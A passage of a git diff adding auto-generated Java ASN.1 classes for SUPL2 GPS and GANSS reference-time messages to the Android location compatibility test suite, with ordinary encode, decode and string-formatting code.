+ this.set_GANSSReferenceTime_ = (SET_GANSSReferenceTime) value;
+ }
+ public SET_GANSSReferenceTime setSet_GANSSReferenceTimeToNewInstance() {
+ set_GANSSReferenceTime_ = new SET_GANSSReferenceTime();
+ return set_GANSSReferenceTime_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTimeID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTimeID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTimeIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GANSSReferenceTimeResult.ganssTimeIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTimeID : "
+ + getGanssTimeID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSet_GANSSReferenceTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSet_GANSSReferenceTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setSet_GANSSReferenceTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SET_GANSSReferenceTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "set_GANSSReferenceTime : "
+ + getSet_GANSSReferenceTime().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssTimeIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssTimeIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssTimeIDType() {
+ super();
+ setValueRange("0", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssTimeIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssTimeIDType != null) {
+ return ImmutableList.of(TAG_ganssTimeIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssTimeIDType from encoded stream.
+ */
+ public static ganssTimeIDType fromPerUnaligned(byte[] encodedBytes) {
+ ganssTimeIDType result = new ganssTimeIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssTimeIDType from encoded stream.
+ */
+ public static ganssTimeIDType fromPerAligned(byte[] encodedBytes) {
+ ganssTimeIDType result = new ganssTimeIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssTimeIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("UTRAN_GANSSReferenceTimeResult = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTime.java
new file mode 100755
index 0000000..fdc4e30
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTime.java
@@ -0,0 +1,1562 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.CellParametersID;
+import android.location.cts.asn1.supl2.ulp_components.PrimaryCPICH_Info;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class UTRAN_GPSReferenceTime extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_UTRAN_GPSReferenceTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UTRAN_GPSReferenceTime() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UTRAN_GPSReferenceTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UTRAN_GPSReferenceTime != null) {
+ return ImmutableList.of(TAG_UTRAN_GPSReferenceTime);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UTRAN_GPSReferenceTime from encoded stream.
+ */
+ public static UTRAN_GPSReferenceTime fromPerUnaligned(byte[] encodedBytes) {
+ UTRAN_GPSReferenceTime result = new UTRAN_GPSReferenceTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UTRAN_GPSReferenceTime from encoded stream.
+ */
+ public static UTRAN_GPSReferenceTime fromPerAligned(byte[] encodedBytes) {
+ UTRAN_GPSReferenceTime result = new UTRAN_GPSReferenceTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UTRAN_GPSReferenceTime.utran_GPSTimingOfCellType utran_GPSTimingOfCell_;
+ public UTRAN_GPSReferenceTime.utran_GPSTimingOfCellType getUtran_GPSTimingOfCell() {
+ return utran_GPSTimingOfCell_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GPSReferenceTime.utran_GPSTimingOfCellType
+ */
+ public void setUtran_GPSTimingOfCell(Asn1Object value) {
+ this.utran_GPSTimingOfCell_ = (UTRAN_GPSReferenceTime.utran_GPSTimingOfCellType) value;
+ }
+ public UTRAN_GPSReferenceTime.utran_GPSTimingOfCellType setUtran_GPSTimingOfCellToNewInstance() {
+ utran_GPSTimingOfCell_ = new UTRAN_GPSReferenceTime.utran_GPSTimingOfCellType();
+ return utran_GPSTimingOfCell_;
+ }
+
+ private UTRAN_GPSReferenceTime.modeSpecificInfoType modeSpecificInfo_;
+ public UTRAN_GPSReferenceTime.modeSpecificInfoType getModeSpecificInfo() {
+ return modeSpecificInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GPSReferenceTime.modeSpecificInfoType
+ */
+ public void setModeSpecificInfo(Asn1Object value) {
+ this.modeSpecificInfo_ = (UTRAN_GPSReferenceTime.modeSpecificInfoType) value;
+ }
+ public UTRAN_GPSReferenceTime.modeSpecificInfoType setModeSpecificInfoToNewInstance() {
+ modeSpecificInfo_ = new UTRAN_GPSReferenceTime.modeSpecificInfoType();
+ return modeSpecificInfo_;
+ }
+
+ private UTRAN_GPSReferenceTime.sfnType sfn_;
+ public UTRAN_GPSReferenceTime.sfnType getSfn() {
+ return sfn_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GPSReferenceTime.sfnType
+ */
+ public void setSfn(Asn1Object value) {
+ this.sfn_ = (UTRAN_GPSReferenceTime.sfnType) value;
+ }
+ public UTRAN_GPSReferenceTime.sfnType setSfnToNewInstance() {
+ sfn_ = new UTRAN_GPSReferenceTime.sfnType();
+ return sfn_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtran_GPSTimingOfCell() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtran_GPSTimingOfCell();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtran_GPSTimingOfCellToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GPSReferenceTime.utran_GPSTimingOfCellType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utran_GPSTimingOfCell : "
+ + getUtran_GPSTimingOfCell().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getModeSpecificInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getModeSpecificInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setModeSpecificInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GPSReferenceTime.modeSpecificInfoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "modeSpecificInfo : "
+ + getModeSpecificInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSfn() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSfn();
+ }
+
+ @Override public void setToNewInstance() {
+ setSfnToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GPSReferenceTime.sfnType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sfn : "
+ + getSfn().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class utran_GPSTimingOfCellType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_utran_GPSTimingOfCellType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utran_GPSTimingOfCellType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utran_GPSTimingOfCellType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utran_GPSTimingOfCellType != null) {
+ return ImmutableList.of(TAG_utran_GPSTimingOfCellType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utran_GPSTimingOfCellType from encoded stream.
+ */
+ public static utran_GPSTimingOfCellType fromPerUnaligned(byte[] encodedBytes) {
+ utran_GPSTimingOfCellType result = new utran_GPSTimingOfCellType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utran_GPSTimingOfCellType from encoded stream.
+ */
+ public static utran_GPSTimingOfCellType fromPerAligned(byte[] encodedBytes) {
+ utran_GPSTimingOfCellType result = new utran_GPSTimingOfCellType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private utran_GPSTimingOfCellType.ms_partType ms_part_;
+ public utran_GPSTimingOfCellType.ms_partType getMs_part() {
+ return ms_part_;
+ }
+ /**
+ * @throws ClassCastException if value is not a utran_GPSTimingOfCellType.ms_partType
+ */
+ public void setMs_part(Asn1Object value) {
+ this.ms_part_ = (utran_GPSTimingOfCellType.ms_partType) value;
+ }
+ public utran_GPSTimingOfCellType.ms_partType setMs_partToNewInstance() {
+ ms_part_ = new utran_GPSTimingOfCellType.ms_partType();
+ return ms_part_;
+ }
+
+ private utran_GPSTimingOfCellType.ls_partType ls_part_;
+ public utran_GPSTimingOfCellType.ls_partType getLs_part() {
+ return ls_part_;
+ }
+ /**
+ * @throws ClassCastException if value is not a utran_GPSTimingOfCellType.ls_partType
+ */
+ public void setLs_part(Asn1Object value) {
+ this.ls_part_ = (utran_GPSTimingOfCellType.ls_partType) value;
+ }
+ public utran_GPSTimingOfCellType.ls_partType setLs_partToNewInstance() {
+ ls_part_ = new utran_GPSTimingOfCellType.ls_partType();
+ return ls_part_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMs_part() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMs_part();
+ }
+
+ @Override public void setToNewInstance() {
+ setMs_partToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? utran_GPSTimingOfCellType.ms_partType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ms_part : "
+ + getMs_part().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getLs_part() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLs_part();
+ }
+
+ @Override public void setToNewInstance() {
+ setLs_partToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? utran_GPSTimingOfCellType.ls_partType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ls_part : "
+ + getLs_part().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ms_partType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ms_partType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ms_partType() {
+ super();
+ setValueRange("0", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ms_partType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ms_partType != null) {
+ return ImmutableList.of(TAG_ms_partType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ms_partType from encoded stream.
+ */
+ public static ms_partType fromPerUnaligned(byte[] encodedBytes) {
+ ms_partType result = new ms_partType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ms_partType from encoded stream.
+ */
+ public static ms_partType fromPerAligned(byte[] encodedBytes) {
+ ms_partType result = new ms_partType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ms_partType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ls_partType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ls_partType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ls_partType() {
+ super();
+ setValueRange("0", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ls_partType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ls_partType != null) {
+ return ImmutableList.of(TAG_ls_partType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ls_partType from encoded stream.
+ */
+ public static ls_partType fromPerUnaligned(byte[] encodedBytes) {
+ ls_partType result = new ls_partType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ls_partType from encoded stream.
+ */
+ public static ls_partType fromPerAligned(byte[] encodedBytes) {
+ ls_partType result = new ls_partType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ls_partType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("utran_GPSTimingOfCellType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class modeSpecificInfoType extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_modeSpecificInfoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "modeSpecificInfoType: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public modeSpecificInfoType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_modeSpecificInfoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_modeSpecificInfoType != null) {
+ return ImmutableList.of(TAG_modeSpecificInfoType);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new modeSpecificInfoType from encoded stream.
+ */
+ public static modeSpecificInfoType fromPerUnaligned(byte[] encodedBytes) {
+ modeSpecificInfoType result = new modeSpecificInfoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new modeSpecificInfoType from encoded stream.
+ */
+ public static modeSpecificInfoType fromPerAligned(byte[] encodedBytes) {
+ modeSpecificInfoType result = new modeSpecificInfoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $Fdd(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new modeSpecificInfoType.fddType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? modeSpecificInfoType.fddType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Tdd(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new modeSpecificInfoType.tddType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? modeSpecificInfoType.tddType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class fddType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_fddType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public fddType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_fddType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_fddType != null) {
+ return ImmutableList.of(TAG_fddType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new fddType from encoded stream.
+ */
+ public static fddType fromPerUnaligned(byte[] encodedBytes) {
+ fddType result = new fddType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new fddType from encoded stream.
+ */
+ public static fddType fromPerAligned(byte[] encodedBytes) {
+ fddType result = new fddType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PrimaryCPICH_Info referenceIdentity_;
+ public PrimaryCPICH_Info getReferenceIdentity() {
+ return referenceIdentity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PrimaryCPICH_Info
+ */
+ public void setReferenceIdentity(Asn1Object value) {
+ this.referenceIdentity_ = (PrimaryCPICH_Info) value;
+ }
+ public PrimaryCPICH_Info setReferenceIdentityToNewInstance() {
+ referenceIdentity_ = new PrimaryCPICH_Info();
+ return referenceIdentity_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
